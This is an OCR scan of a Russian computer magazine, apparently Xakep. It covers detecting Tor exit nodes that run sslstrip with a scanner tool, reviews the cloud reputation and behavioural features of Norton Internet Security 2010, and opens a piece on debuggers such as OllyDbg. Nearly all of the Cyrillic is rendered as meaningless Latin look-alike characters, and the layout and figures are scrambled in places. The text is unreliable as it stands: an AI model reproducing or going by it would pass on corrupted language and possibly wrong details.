BXOUT yTUAKUTa torscanner, npejHasHa4veH-
Haa ang novcka Exit Node'ns, ncnonssyommx
sslstrip. PaboTaer oHa cnegylowmm obpasom:
Mel nepegaem nporpamme URL crpadmniyl,
copepxauein HTTPS-cewinky(u], nocne uero
OHa HanpAMYyo coefuHAeTcn co Beemu Exit
Node'amu u 3anpalumBaeT ykasaHHyio cTpa-
HWLY, 8Hanu3npys To, 4T0 C HEHM NPOUCKOAMT.
[MonyyeHHbIe NaHHBIE N0 YMOJYEHID BEIED-
OATCS B KOHCOMb, HO MOXHO NepeHanpasuThk
BbiBCA B paiin ons nanbHellwero U3yYeHns.
CrHTaKeue ANng 3anycka — torscanner
destinationHost destinationPort
request. HanpuMep: torscanner www.
goegle.ru 80 / > 1.txt.Ecnu npoana-
nu3vposas dain 1.txt, B oTBeTax 04HOIO U3
cepeepoB Tkl 00Hapyxuib noguery HTTPS Ha
HTTP, To Ha cepBepe 0JHO3HaYHO paboTasT
sslstrip.

Wmel 8 Buny, 4to Torscanner ckaxupyer sce
BBIXO[HbIE Y3Nbl, HA UTO YXOAWT AOCTATOUHO
MHOMC BpeMeHW. Ho A aymMato, 4To Thl cymeellb
MOLWMLMPOBATE NPOrpaMmy Takim obpasom,
4T0BEI OHA NPOBEpPsNa TONLKO ONpeaReHH IV
IMANazoH UK BoobLULe KOHKPETHEIR CepBep.

WM NOJBOX ;)

Boigog MoxeT boiTe oMb — wenonssya Tor,
byaL octopoxkeH. a, cuctema obecnevyusa-
eT HenJoxomn YROBEHbL dHOHWMHOCTHK, HO HE
MOXET 3aLUKTUTL TBOW l@aHHbIe 0T NepexBara.
W nycTs gaxe Thl yBeauncs, YTO Ha nocnegHemM
yane He 3anyuleH sslstrip, Bce paBHE HKUKTO
He QacT rapaHTVK, 4To NPOXOAALLKUe NakeThl
He paMnaTea chudepom. C opyroi cTopa-

Hbl, HEOBA3ATENEHO PACCMATPMBATL T[0T Kak
MCKITIOYUTENBHO MHCTPYMEHT A5 aHOHKVMHOTO
ceppurra 8 Cetn. Heckonbko Halwmx npume-
pOB — TaMY B NOATBEPXAEHWE. 3T
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BE CTENAH «STEP »WIbAH TWITTER.COM/STEPAH

OBbJIAYHbIE

BbIYUCJIEHNA
[POTHB BUPYCOB

HAYTO COCOBEH
NORTON INTERNET

SECURITY?

Norto .
fﬂtemet Secivtti ana }Y?

- COBPEMEHHbBIE AHTUBUPYCbI BCE MEHBLLE TONATAKOTCA HA T[] YTO PAHBLLUE A)151 HUX BbIJIO
&  CBATAA CBATHIX, — CUTHATYPHbIA AHAJIU3. NOHUMAS BECTIOMOLUHOCTb TAKOTO 10JAX0JA
POTHB HOBOW MANIBAPH, ABEPbI BCE BHUMATEJIbHEE CMOTPAT, KAK BEAYT CEBA NPUNIOMKE-
HWA, A C HEAABHET0 BPEMEHU — UCNONb3YIOT L1l NPOBEPKW W OBJIAYHBIE
BbIYMCIEHKA. YTO 3TO JAET U KAK PABOTAET, Mbl I0CMOTPHM HA IPUMEPE NORTON
INTERNET SECURITY.

Mo npaBae rosops, Koraa f fetej Ha npe- YCNoBUAX. Bce CyllecTByOWMeE NoAXaisl TaK H3CKONbKO Ny4LUe Unun Xy>xe No CPaBHEHWIO C
3eHTauMK HOBbIX Bepcuii nponyktoe Norton, UNW MHaYe CBOAATCH K CUTHATYPHOMY, 3BPUCTY- OpYrMMK pelleHuaMm pabaTaioT Hossle Narton
TO QTHOCKIAICH K NOL0BHOTO poaa penusam YecKoMY W NpoaKTMBHOMY aHanusy. Ho... pebata  Antivirus/Norton Internet Security 2010 — ato
BECbMa CKENTUYECKH. Bﬂﬂb 4T0 TaM MOXKHO nU3 Symanlec'a CyMeny yousnTb: 00 3700 paccyout Halle TecTipaBaHne, KOTOpOE Mbl
npeacTaBuTE? AHTUBUPYC, KOTOPLIN BCE TaK ke MOMEHTa W A 3HaTh He 3HaN O CYUECTBOBaHWUN npoeeneM B bnuxariwee spoems . Buecto atoro
WLLET BMPYChI, 1 (i)aEIDROJ'I‘ KOTOpb\F‘\ BCE TakK Xe TEX NOAXOL40B, KOTOPLIC OHW BHENPWIK B HOBbIX XOuy NMoKasaTb Teﬁe‘ HACKONBKO M3BOPOT/IMBbLIMUA
danpeonut — nposepuTb 3GPeKTUBHOCTD ITHX BEPCUAX CBOWUX NPOAYKTOB MOTYT DbITh pazpaboTinky, KOraa peyb 3axoauT
PO'[ICI\ML'*I BCE paBHO MOXKHO TONBKO B Boeshix B aT0i cTaThe A He GW_I,y FOBOPWUTL © TOM, 0ob onepaTMeHOM MOUCKe Mansdpu.
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@, Norton Insight Network

Norton Insight Network

Norton Community

¢ File Count:
el | 64,717,886
Status: Online
Your Computer
Insight Network lookups 43
Trusted files 2,632

CTATUCTUKA DAHHBIX B OBJIAKE

0BJIAYHBIE BbIYHCIEHHA

Korpa peub 3axonut of oBnayHbix BEIYMCIEHN-
fiX, MOXHO NOAyMaTs, 4To Symantec npespatina
CBOWM aHTUBMPYC B TOHKWIA KNIMEHT, KOTopbIA
OTNpaBNAeT Yepes UHeT harnkl Ha NpoBepky
cneunansHoMy cepeepy (B obnaxal, rae oHw
NPOBEPAOTCA, 3 KNMEHTY Bo3BpallaeTcq Nullb
pesy/LTar.

Hennoxas uaes, Ho B HACTOSILLMIA MOMEHT
efea Ny paboTalolian — CNoXHO Jaxe npef-
CTaBWTE, KakuM B 3TOM Caydae DyneT pacxon
Tpaduka. Pebarta nz Symantec sHegpunn
obnaykble BelMUCAEHUA HaMHoro Bonee yMeno.
B nononHesue K curHatypHoMy, 38pMCTAYE-
CKOMY 1 MPOaKTUBHOMY aHanuay npubasunca
COBEPLEHHO HOBLIWM MNOAX0M, KOTOPLIW YCNOBHD
MOXHO HA3BaTh CTATWCTUYECKAM. YTo MMEETCH
B 8uay? B ocHoBse TexHonoruw nexut obnako,
KOTOpOE MOANEPKVEAET OrPOMHYI0 Dasy nak-
HbIX C MHOOPMALUKMENR 0 HEBEPOATHO BonsLoM
konuvecTee darno. B moayne Quarum, cbe-
creyueatolleM besonacHocTe Ha OCHOBE peny-
Tauym, MCNONL3YIOTCH JaHHbLIE, NONMYHEHHbIE U3
MHONKECTBa PasfWUHbIX UCTOUHUKOB, BKNIOYaS:
AHOHWMMHYIO MHGOPMALIWNIO, NPenoCTaBIEHHYIO
AecATkaMmy MWIIUOHOR YNeHoB cooblecTea
Norton Community Watch, nanHsie nznatenen
M0, a Takke aHOHUMHBIC OAHHBIE OT KNMeHToB
KPYMHLIX NPednpUATARA, NOCTyNawLimne ¢ noMo-
LK CNeLyansHoi nporpaMmsl chopa AgHHBIX.
WHdopMalua nocToAHHO MMMOPTUPYETCS W
repenaeTcs B cnelunaibHblil MOLYNb, cnpese-
NAICLLMA PENYTALWOHHBIA PERTUHT KaxXA0ro
daiina, npuyem cam Gaiin NpyM 3ToM HAKOrAa He
ckaHupyeTcd. s TouHoW oLeHKn penyTauum
daiina Quorum mcnonb3yeT Takyio MHpopMa-
LMIO 0 HEM, KaK PacmnpoCcTpaHeHHOCTb, Bpems
CYLLECTBOBaHWA 1 gpyrvue atpubyTel. 3aTem 3Tn
PEWTUHIW C NoMollkia MacluTabHol «obnadHon»
MHPACTPYKTYPLl CEpBEPOE Symantec npepo-
CTaBAAKTCH BCEM MONL30BATENAM MPOLYKTOB

XAKEP 10 /130/ 0%

Morten Insight Network gives you protection ceyond virus definitions for known threats, using the security
and program data from Norton Community Watch to help determine new threats and their sources.

The numboers shown here represent how many files are currently providing this data.

KOMMaHuK. [exHonoris pazpabatsiganacs B
TeyeHne 3-x NeT u cTana knio4eBoi ocoberHo-
cTei0 HoBblx Norton Internet Security v Norton
Antivirus 2010.

B YEM NPENIECTH OBJIAKA?

[maeroe npeumyuiecteo Quorum — npepocTtas-
NeHue gaHHbIX 000 BCeX MCNOHAEMSIX dalinax.
B obnake xpaHATCA penyTaLMoKHbLIE PERTUHIM
[N KaX/A0r0 MCNoAHAEMOro Gaina, KoTopblid
Korpa-nubo scTpedani Nonb3oBaTen NpoayK-
To8 Symantec B nioboi Touke mupa. Hanbonee
HarnAAHGIA cnocob yBuaeTs B AefcTBUM
cueremy Quorum npu pabote B8 Norton Internet
Security 2010 u Norton AntiVirus 2010 — aTo
3arpy3nTe W3 MHTEPHETE HOBbIA UCMNONHAEMBbIN
dann. Hoewin monyns Download Insight npu
onpenensHny bazonacHocTu noboro ckaunsae-
Mora aing onupaeTea Ha MHOPOPMELIMID 0 ero
PENYTALMUA, KOTOPYHO NMPEfOCTaBAAET CUCTEMA
Quorum. Takum obpazom, Nonb3oBaTens yse-
LOMNAKT 0 pelTrHre atore $anna, a davsl,
MMERLLME NA0XYI0 PENyTaLMIc, 3BTOMaTUUYECKK
Brokupyiotca. Kpome Toro, Nonk30BaTENls MOXET
LENKHYTE NPABOM KHOMKOH MbIlW Ha N10boi
MCnonHAeMeli dann, 4Tobsl yaHaTs, 0TKyAa

OH NOABMACH, CKONLKD APYrUX Nonk3oRaTtenei
nponykToB Symantec ¢ HUM paboTaioT, Korga
koMnanna Symantec Bnepesie obHapyxuna ero
1 KaKOB ero peryTauloHHbIA perTUHE

Cxonkko MHHOpMaLMKM xpasnTcs B obnake?
Ecnun oTKpsITe NpUNoXeHne, HaUTY Napamerp
Insight protections v KNWKHYTb MO KHOMKe
Details, T0 MoxHO yBUAETL TEKYLLEE COCTOAHWE
obnaka. Ha moMeHT nyGnukauuu B 6ase Haxo-
oUNack MHAOPMaLKMs o NoYTK 65 MUNNMOHAX
dannos. Mz Hux 51,5 MunnvoHa cymTaoTcs
xopotumu, 1 nouti 10 MunnroHos ¢ainos
OTHOCATCA K OMaCcHBIM.

PenyTauns npunoxeHins — ato sce. s kaxno-
ro wenonHsemoro danna (EXE, DLL v .0.) ectb
onpefeneHHbIA YpoREHb AOBEPKS: MPOBEPEHD

© % 3

FPAOUKSYSTEM INSIGHT: BCE,
YTONPOUCXOAWUNIO BCUCTEME 3A
nocneAHUE AHAU

Norton

rNMABHOE OKHO MPUNOXEHUS:
MOCAEAHUE MYNbCOBbIE 06-
HOBJIEHUSA MOJIYYEHbBI 6 MUHY T
HA3AJ

Norton [Norton Trusted), nposepero kom-
MeioHuTK [Comminity Trusted), He nposepeHo
[Unprove). 3aBenomo 3Has, 4To 3TMM 1 3THM
painam Mbl MOXEM [0BEPATh, Mbl MOXEM CIKO-
HOMWTE OFPOMHOE KONWYECTBO BPEMEHW Ha CKa-
HUpoBaHuK. Hanpumep, Ha MoeM HoyThyke 84%
npouenTa dpannos — nosepeHHslie Norton'om,

M CKaHWpoBaTb Ux HeT HeobxogumocTk. Bonee
TOrO, eC/N Mbl Y>Ke BLINOAHWAN CKaHMpoBaHKWe 1
BUPYCa He HaLLIW, TO COOTBETCTBYIOLLAN OTMET-
Ka oTnpasBuTca B 0bnako, v Gain, BO3MOXHO,
ByneT oTMeYeH Kak NpoBepeHHbIN,

bnaropgaps texsonorumn File insight MoxHo
y3HaThb Maccy NofesHoi MHPoPMaLKMK O KaxK oM
13 paitnos. Y10 KOHKPETHO OHa Moka3sbiBaeT?
Bo-nepeuix, ectb v y dpanna undposas nog-
n1ck. C Kakoro MOMEHTa OH HaXOMTCA Ha KOM-
nototepe? Korfa nocnearunii pas ucnonb3osan-
ca? 3anyckaetcd nu asToMaTuyeckm? [ommmo
3TOM NOKaneHoW WHQopMaLuMn, oTobpasxatorcs
AaHHble 13 obnaka — ckonkko Nonk3oBaTened
MCTIOJIBL3YHT 3T0 NPUNOXEHKe, Koraa B obnake
NOABUANCH AAHHbIE 0 GaliNe v Kakoi y Hero
yposeHb foBepus. [10CMOTPETH 3TO MOXHO,
BbIDpaB B KOHTEKCTHOM MeHio siboro n3 dain-
noe nyrkT «Norton Files Insight».

PenyTauns 3aBUCUT HE TONBKO OT CTATUCTUKA
MCMONb30BaHWA NOb30BATENAMK, HO TAKKE OT
ux pupbeka u, 4To camoe rnasHoe, pesynsra-
To8 NpoBepky TexHonrmen SONAR (Symantec
Online Network for Advanced Response).

TEXHOJIOT WA SONAR

9ta TexHonorns 1 paHble beina obnauHoi,
Ho Bbina nHTerprpoBsata ¢ obnakoM nuwe B
odnaitH-pexume. Teneps xe aHtneupyc pabo-
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10 Minutes Silent tode = Off

wintes [l

idle Timeout

Viaiting on compater 1o be idle

LastRun Ran During gie

28.09.2001 2

28.09.2009429 000132 Ve

91311 00

HACTPOWKAHE3AMETHOW PABOThI B PEXXMME IDLE-MODE

Taet ¢ curnatypami SONAR, koTopeie HaxoasTca B obnake u
0BHOBNAIOTCSH XEMUHYTHO.
TyT cTOWT CKa3aTb Mapy COB 0 TOM, YTo BoobLe Takoe Tex-
Honorvg SONAR. Mopxon 0CHOBSIBEETCH Ha CUrHaTYpax Tuna
«CKobKO Bannos nocTaenTs NPUNOKEHRWIO, ECAIK OHO AenaeT
TO-TO W He JenaeT Toro-To W Toro-To». Ecnu nporpaMMa BHO-
CUT MCNPaBNeHWs B PEECTp, TO OHO NOTEHLMENEHE MOXET
BEITh ONACHD — COOTBETCTBYICLIWM obpasoM, KoppekTipyeTca
peiTuHr. 3To uaeanorus camoro nogxena: SONAR cmotpuT
Ha NoBedeHne Nporpammel v ouexreaeT ero. OauH KpuTepuit
FOBOPUT, UTO MPUNOXEHUE XOPOLLES, 3 APYroid — 4To OHO
nnoxoe. B obnake SONAR'a HaxognTcs orpomHasn basa Takux
curnatyp, 1 ecnu y NIS ecte goctyn B wHTepHeT, To pabotaeTt
OH UMEHHD C 0BnaurbiMu curHaTypamu. [puyem 310 BoBCE
HE 3HAYUT, YTO aHTUBKPYC TPeBYeT KaKoro-To BHYLUMTENBHOMO
obbema Tpaduka.
KTo-To U2 nons3oBatenei Bo BEpeMs beTa-TecTUPOBaHWA
nocyutan, uto NIS, NoCTOAHHO NOAKNKUEHHBIA K UHETY, Tpa-
1 TUT npumepHo 200 Kb. MoHATHE, 3anycTMBLLWCE B NEepBbIiA
m pa3 u Havae 0BHOBNEHME W CKaYKy PEATUMHIOB NDUNOKEHWS,
Tpaguky MoxeT yiTu bonklue. Ho Bo Bpema nocneayioLlen
pabotsl — 200-300 Kb & geHs. Kak Buaviles, 310 COBCEM He
CTPaLUHO.
b info
Penwua Norton 360
3annaHvpoBaH Ha

HecMotpa Ha To, 4To Bonbwas YacTk Gavnoe nonydaer
peiTVHT aBToMaTuyecky Ha ocHose pabotel SONAR'a,
Mo/fib30BaTeNb CaM BrpaBe yka3aTb, 40BEpAeT N1 oH darny
mapT-anpens 2011 roga  unu Het. MNonyyaetca agaknii sneMeHT colnanusaymm.
1 ByneT BKNIOUYUTE B CoOTBETCTBEHHO, BCNW MHOT0 NOAL30BETENER CKEXYT, YTO
cebs 1o, 4TO yKe ecTL B

2010BepcKn, nTe Ho-

OHW LOBEPAKT KAKOMY-TO KOHKPETHOMY Gaiy, TO OH MOXET

CTaTk JOBEPEHHbIM. 33!48‘-{% HYTO MMEHHO «MOXXET CTaTb», @ He
Bble QULLKK, KOTOPbIE «cTaHoBuTca». [lanyynTs CTETYC AOBEPEHHOMD Garn nMeet
pazpaboTymnku ycnetoT

Peann30oBaTh K 3TOMY

BO3MOXHOCTL TOMBKO B Cy4ae MoNoKUTENbHLIX PE3YNLTATOR
npoeepku SONAR. PaboTaeT 3To NPUMEPHO CREAYIOLLAM
obpazom. Ecnu 3a mecsL, Takoii-To ¢aitn He caenan bonee
LBYX MOA03PUTENbHBIX AEACTBIA, HO NpK 3ToM obradaet

BpEMEHW.

LUV POBOM MOANKMCEIO, @HUCTENATOPOM W T.4., TO Hepe3 Mecsl,
Norton HauMHaeT eMy N0BERATH.
| CyllecTByeT Tak Ha3blBAEMbI CIMCOK NPUOPUTE3ELIAA.
Ecnu MunnvoHbl Nonb3osateneid ckadvanu aiin advz.exe,
To B nabopaTopuy ero ckayaloT B Nepsyto o4epelb, NoCMo-

> dvd

Ha Hawem Ancke Tbl

TPAT W MO pesynbTatam aHanvza gobassT 3anuce & obna-
ko. Monyyaetcs, yeM Bonblue Mbl YTO-TO CKAYUBEEM, TEM
HalOeWb MNONHOLEH-
Hylo Bepcuio Nortan
Internet Secirity 2010
cnveHzven Ha 90

ObicTpee 370 NonaaaeT Ha aHanys. CUrHaTypHbli aHanus,
MPOM3BOAMMBIA Ha NOKANLHOW MallWHE, NpK 3TOM, CaMo
coboi, HUKYAa He [eBaeTcs.

Boobuie, Takoi nogxop pabotaeT odeHb 3n0pogo. Quorom
HewH. BepeT caMoe rMaBHOE OpyKKUe BUpyconMcaTeneid — Bo3-
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Scanning commonly infected areas and start-up files...

| soft\alcohol ... \starwinds:

cx\program

Resuits Summary

Total items that require attention o

PE3VNBLTATEIBBICTPOI0 CKAHUPOBAHUA

MO HOCTE BLICTRG reHepUpoBaTh pasnuyHsble Mogudukalmn
BUPYCOB C YHUKANBbHBIMW CUTHATYpaMu, KoTapele He onpefe-
NAKTCH aHTUBMPYCaMU — W HAMPABNAET OPYXUE MPOTHE HIX.
YHWKansHoCTh Gaina 1 ero atrprnbyThl Teneps — WMEHHO To,
4TO Mo3BONRET 3aPUKCMPOBATL 3apaxeHue. Ecav Bapyr oTKy-
A2 HK BO35MHUCE H3 KOMMBIOTEPE HECKDLKWX N0Jb30BaTeNei
NORBMRETCH KaKOW-TO YHUKaNbHLIA daiin, ecTb BCe 0CHOBA-
HMA NoNaraTs, 4To 3T0 BUpYC. W B BonblUMHCTBE Chyyaes Tak
u ects!

CKAHUPYH HE3AMETHO!

OanH u3 BaxHoix pasgenos NIS — Norton Tasks, 3aeck
MOHO NPOCMaTprBaTh Tekyllee CTORHME 3arpy3kn npo-
ueccopa v namaTi. Ho rnasHoe, 4To 3geck HacTpaugeaTes
Te peiicteus NIS'a, koTopeie paboTaioT B Tak HasblBaeMoM
ldle-pexume, T.e. B TOT MOMEHT BPEMEHY, KOIAa 38 KOMMbH0-
Tepom HUKTO He paboTaeT. EcAun paHblie y MEHA MOCTOAHHO
BHICKAKKMBANo cooblieHre o TOM, UTO B CUCTEME 1aBHO He
NPOM3BOAMNECE NPOBEpKa, TO TeNepb CKaHMpOBaHWe npo-
BOAWTCH PETYNAPHO, MPMYEM NONHOCTLIO HE3aMETHO Ang
MeHs. Mo ymondaduio 8o spems De3neicTemna nonb3osaTens
BHINOMHASTCH 0DHOBNEHWA BCex Da3 1 CUrHaTyp, a Takke
BEINONHASTCS BuicTpoe ckavvporanue |dle Quick Scan. Mpu
KENAHWKM — BO3MOXKHO BIIKYMTE U NMONHOE CKaHWPOBaHWe
cucTeMel. [paBaa, kak MHe ckasanu crelst 3 Symantec,
Takas duwka nossunack ele 8 2009 sepcun npopykTa,
korga Bein B3ST kypc Ha onvTMMM3aumnio nporpammel. B 2010
Bepcun beinu NposedeHsl elwe bonklune antumMnsnauyun. B
pesynsTaTe, BPEMs YCTAHOEKM NPOrpaMMel 8 bonbluvHCTEE
Cnydaes 2aHUMaeT He bonee MUHYTHI, @ pasMep 3aHMMaeMon
naMaTW B onepaTueke cocrasnseT He bonee 10 MB!
3zbasro, 410 nocne yetadoeky NIS Thl gaxe He 3ameyaellb,
YTO 3TO HE TONBKO aHTUBMPYC, HO elle u daipeon. Jeno

B TOM, 4To Ana BpaHaMayapa pynecel CO3fal0Tcs asToMa-
TWHecku: ona 3Toro B Base NporpaMMel €CTe yKe roToBkIe
HACTPORKK (MHPOPMaLY o TOM, Kakue MOpPTLl OTKPLITh, KaKoM
Tpaduk npenyckats, 8 kakon Bnokuposars) 4na BonblmMH-
CTB2 M3BECTHbIX NPorpamM. K Tonbko ecnu 3anesTs B noru
NIS, MoxHO 0BHapyxuTe 3anmncuy «Firewall rules were
automatically created for x-lite».

4T0 CNYYUNOCh C CUCTEMON?

Tenepb nocMoTpyM Ha okHo Performance. Padblue 3nech
oTebpaxanack TOMbKO MEGOPMALIWA 0 TOM, HTO MPOMCXOAMT

¢ CPU 1 onepaTnBkol B pa3pese cUCTeMbl 1 B paspese
Norton'a. HoroBBegeHve B 3TOW BEpCUW — TEXHONOMKA
Norton insight. Ha kpacusom rpaduke B paspese HecKobKUX
KaTeropuin oTobpaskaetca BCe, YTO NPOUCXOAMNQ C KOMILI-
Tepom. [ns kaxaoro gHs oTobpaxaeTtcs vHgopMalus o ToM:
 Bbino v ycTaHosneHo Hosoe [10;
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YPOBEHb [JOBEPUAKCAATY OTOBPAXAETCA B NA-
HEJIM BPAY3EPA

* kakue Gannsl Boinn ckadeHsl U3 WHeTa;

® 3anyckanace v oNTUMU3aUns;

® DLIK NK HARAeHbl KAaKWe-TO BUPYChl WiW Yrpo3bl;

® OCYLECTBNRNOCE MW NONHOE/BLICTROE CKaHUpOBaHUE;

*UTH

ABCONIOTHO BCe LeNCTBUS B cucTeme oToBpaxaloTes Ha rpaduke (ecte-
CTBEHHO, C MOMEHTE YCTaHOBKM MpoaykTa). 3auem aTo HyxHo? HdonycTim,
Mbl EVMM, 4TO KOMTbHTED cTan paboTaTs MefneHHo — nons30satens TyT
e MOXET MPOCNeAnTh, YTo Npou3awno. [ocTynHa dyHKUKMA «OnTuMU3a-
TOp» — No cyTi, 310 obbluHas gedparmMeHTauws 3arpy3cyHore pasjena.
HecmoTpa Ha To, 41a NIS — 370 npoaykT no BesonacHocTy, B Hero 3ano-
xeHa Ba30Bas OYHKUWOHENEHOCT N0 ONTUMKU3ELIWH.

MHTErPALIAA C BPAY3EPOM

Elle ogHa HoBmHKa npogykTa — Texvonarua Download insight. Bnaronaps
3ToMy HoBosBenekwo, NIS npoBepsaeT kax sl CKa4yuBaemMbli U3 UHeTa
daiin, 3anpawmrean MHhopMauro o Hem 13 obnaka. Ecnu B obnako nepe-
LaeTcH MHqJOpMaLlVM 0 TOM, 4YTO 3TOT cbau"m ckavyano bonslioe KoNUYecTBo
yenogek ¥ SONAR He ofHapyxun H14ero NoAo3pPUTENLHOMG, TO NCMb30-
BaTeNio BbifaeTca coobuleHne, yto Gann Hagexed. Jlnbo xe Haoboper —
npeaynpexaeHre 0 BO3MOXHOW 0NacHoCcTK

TyT Hapo cka3aTt, YTo BCe okonobpaysephslie TexHonoru Norton pabora-
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o1 Toneka ¢ Internet Explorer'om u Firefox. A BoT mHTerpauun ¢ Opera v
Chrome noka He nnaHupyercsa.

3710 oTHOoCUTCS W K TexHonorun Safe Web, keTopaa B cneymnansHoi
naHvenw bpaysepa otobpaxaeT ypoBeHs JOBEpMS K MpocMaTpueae-
MMy caiiTy [KpacHbIi, skenTelid, 3eneHsiid). KpaiiHe noBonsiTHbIM
okazancs pacckas creumnanucra ua Symantec o ToM, kak paboTaeT 3T
TEXHONOIUA M3HYT-pU. [Ing npoBepku calToB UCNONL3YETCs MOLLHBIF
CepBep, Ha KOTOPOM 3anylieHo AOCTaTouHo Bonbloe KONMUYecTBo
BWPTYaNsHblX MalWWH. Ha kax4ol BUPTYanbHONW MalllMHE CTaBMTCS
renponatueHHslin Windows XP, genaetcs cHUMCK CUCTEMbl, Mocne
yerc B Gpaysepe oTkpbIBaETCS NpoBepsieMas cTpaHuyka. Jonyctum,
BYpTyasibHas MallnHa noet Ha xal
Yyero fenaercs NoBTOPHbIN CHUMOK cucTembl. OcyllecTengeTcs ceep-

. 3arpy>kKaeT CTpaHKW4ky, nocne

ka. Echu ¢ cncTeMolt HUYero He NPou3oLuno, KpoMe Kak 06HOBNEHUS
Temporary Internet Files (kykucsl, kaw u T.4.), To cailT cuutaertca
NpoBepeHHbIM. ECnK e BAPYT Ha BUPTYaNLHOK CHCTEME OKaXKeTCA
Kakoi-To Gain [nyckal gaxe oH HE pacno3HaH aHTWBUPYCHEIMK Mexa-
HU3MaMK Kak BUPYC], TG CainT TyT xe OTNpasnaeTca Ha aHanua B NojJo-
3pexni Ha aTtaky Drive By Download. Mocne Toro, kak nayk cxodwn Ha
CaiT, BUPTYaNbHas MalluHa Nepeco3naeTcs W ganee aHanorv4HoiM
obpazoM nNpoBepseT cneaylowmii cailT. Yem yalle Ha caidTe npouc-
XOLUT NocelleHue nonb3osaTensmu npoayktos Norton [craTucTvka
MCKOKYWNTENLHO EIHDHMMHEII, TeéM Bblle OH NoAHWMaeTCs B o4epedn Ha
ckaHnpoBaHue. MNpWyeM ckaHUpoBaHUE OCYLWECTBNAETCS NOCTOSHHO.
Hanpumep, caitt Cnn.ocm ckannpyeTcs kKaxable 6.5 cekyHn. M3 npyrix
WHTErpaUMi ¢ Bpay3epoM MOXHO OTMETUTE — COXpaHeHne yHeTHbIX
3anuceil anga beicTporo u BesonacHoro Aoruna [Norton Identity Safel.
MpumeyaTensHo, YTo KOHTERHEP C faHHBIMK TENEPb MOXHO NepemMe-
WaTk € MaWWHLl Ha MaLlLKHY.

B NIS 2010 eHegpeHa Takske 1 HoBas TexHonorua aHtucnama. B 2010
BEPCUN pa3paboTurky OTOWW OT NPYBLIMHEIX NOAXOA0S, KOTOPLIE AABHO
MCNONB30BANNCh B MPOYKTaX, WU Nepewny Ha TexHanorui Brightmail,
xotopyo Norton kynuna 6 neT Hazad,. TexHonorus JOCTaTouHO TAXenas
009 0OMALWHUX NPOAYKTOB, MO3TOMY NPOLECC afanTauii 3aHASN HeKoTopoe
spema. Brightmare — 370 onsTh ke obnaunas TexHonorun. B momenT
NpOBEPKK MMCbMA B0 X3 OTNPaBNAeTCA B 001aKo C 3aNpocoM «HUKTC JIU
W3 NoNL30BaTeNein He ckasan, 4To 3To cnam» . Ecnan cbnako oTeevaet, YTg
MUCHMO MHOTUMI HO3EPaMKM DTMEYUEHO KaK HEXENBTE/bHOE, TO MPOMCXOAUT
ero ynanenue. To e CaMoe MPOoMCXOAUT W C GULLIMHIOBEIMK caiTamu. [lpn
3axoge Ha mobyto ctparuuy NIS nwer iframe, nepeagpecaumun U npo4une
rafocTh, a Takke 3anpalvsaet B obiake UHGOPMALMIO O ee penyTalum.
YeepeH, 4To Yepes HEeKOTOpoe BPeMsl aHanorniHas GyHKUMOH2ALHOCTh
noABMTCA W B Apyrux npoaykTax. Movemy? [la notomy, 4To 3T0 AeHCTBU-
TeNbHO X0poLWo paboTaeT. 3¢
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JIYYIUUE WHCTPYMEHTbI NEHTECTEPA
OTAADYUKHK U AUACCEMBJIEPDI

Y Ka[oro M3 KoMaHosl 3 — CBOM MPeanodTeHrns no YacTu codTa W yTUANT ANs neHTecTa. [locoBewaBLWmnCh,
BBIACHUW, Y4TO BbIBOP TAK PA3HWUTCA, YTO MOXKHO COCTABWTL HACTOALLMIA J)KEHTIbMEHCKIMIA Habop 13 npoBe-
peHHbIx nporpaMm. Ha ToM 1 pewwnnun. Ytobel He aenaTk cOOpHYIO CONAHKY, BECh CMKUCOK Mbl pa3dbunn Ha TeMBbI.
CeronHa pasbepemM oTnanumMkn u ausacembnepbl — Bce, 4T0 NOHAZ0OWUTCH NS peBEPCUHTa MPUIOKEHWA.

Wi 1

Lnst Toro, 4Tabbl NOHATL Kak YCTpOeHa Npo-
rpamma, HyXHo NOCMOTRETL 8 MCXOAHBIN Kog,
[a BOT TONLKO, KTO XE 3TOT UCXOAHBIA KO HaM
nact? MNpasunsHo — HKkTo :). [osToMy npunet-
A naTmn O6XO,D,Hb\M nyreM W M3y4aTb BHYTPEHHOD-
CTU NPUNOXEHWSA C MOMOLLELD AKu3accembnepos
W oTNnag4rkos. ﬂEthle — NOMOTyT NpencTaBuTb
nobolt ucnonHaemslid gain 8 Buae accembnep-
HOFO NWCTMHTE, 8 BTOPbIe — MNO3BOAAT NoLWwa-
roBo, VIHCprKLLViF! 3d MHCprKLU/iC;I, BbIMONMHWUTEL
MPUNDXKEHWE 1 faxe BMELIaTLCs B Noruky ee
WMCTMONHEeHKWH.

OllyDb

www.oﬁydbg.de

Ecnu bl x0Tk paz 4uTan crathi 0 KPAKUHIE Unu,
HanpyMep, CMOTpeN BUALOYPOKK OT Hallero
pesepcepa Cridwler'a, To uMa «Onbkn» Tebe
OOMKHO BbiTh 3HakoMo. 310 32-BUTHBIA oThan-
4K, paboTalollWii Ha NoL30BaTeNLCKOM ring-3
ypoeHe. [pofiyMaHKbIi UHTERgERC 1 MoNE3HbIE
bYHKUMW CyLLeCTBEHHbIM 0Bpa3om obnervaioT
npouecc omaaxi. B OllyDbg scrpoen crieuu-
arbHBIN 3HANWM3aTop, KOTOPELIA PACro3HaeT 1
BU3yaneHo 0bo3HauaeT npouenypsl, LUKIbI, KOH-
CTaHTLI W CTPOKW, BHEOpeHHbIe B ko, obpaleHne
K GyHkUmaM API, napameTpil 3TMx GYHKLMA 1
T.0. [lns HoBMYKa — 3TO MMEHHO TO, YTO Haao!
Brnpouem. kakue k yepty Hosrukin? OllyDbg
[aBHO CTan cTaHgapTHeIM user-land oTnagymkoM,
B3ATHIM HE BOOPYXEHUE XaKepamK, KOTOPbIe BCR-
4EeCKM XaTeru erc yay4WwunTs. Ha cBeT nossunocs
MHOXECTBO HeCcTaHAapTHeIx cbopok, ogHK 13
KOTOPBIX VCNPABNANY [OCafHble oKDk, Jpyrve
— paclmpany GyHKUMOHan, a TpeTbM — CKpbiBa-
NK ee 4apkl 0T oTnagynkoe. [ocnenHee ocoben-
HO aKTyasnbHO, NOTOMY KaK MCMOb3YeMbIA AAPOM
MS Debugging APl octaensaeT cnefisl cBoEro
MCNOML30BaHMA rie TONLKO MOXHO, @ 3aMeCTH X
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NYYLUWHA 32-BUTHBIW OTNAQUMK

riogyac belsaeT oyeHb TpyLHD. B xony fo cux nop
Haxogutes OllyDbg sepenu 1.10, a beTa-sepcus
HOBOW BETKWM BLLE C MapTa He NpeTepriena Kakux-
nnbo n3MeHeHWH. Brnpoyem, NnocMoTpeTh Ha
HOBOBBEAEHWA HOBOMO ABMXKa MOXHO U Celyac,
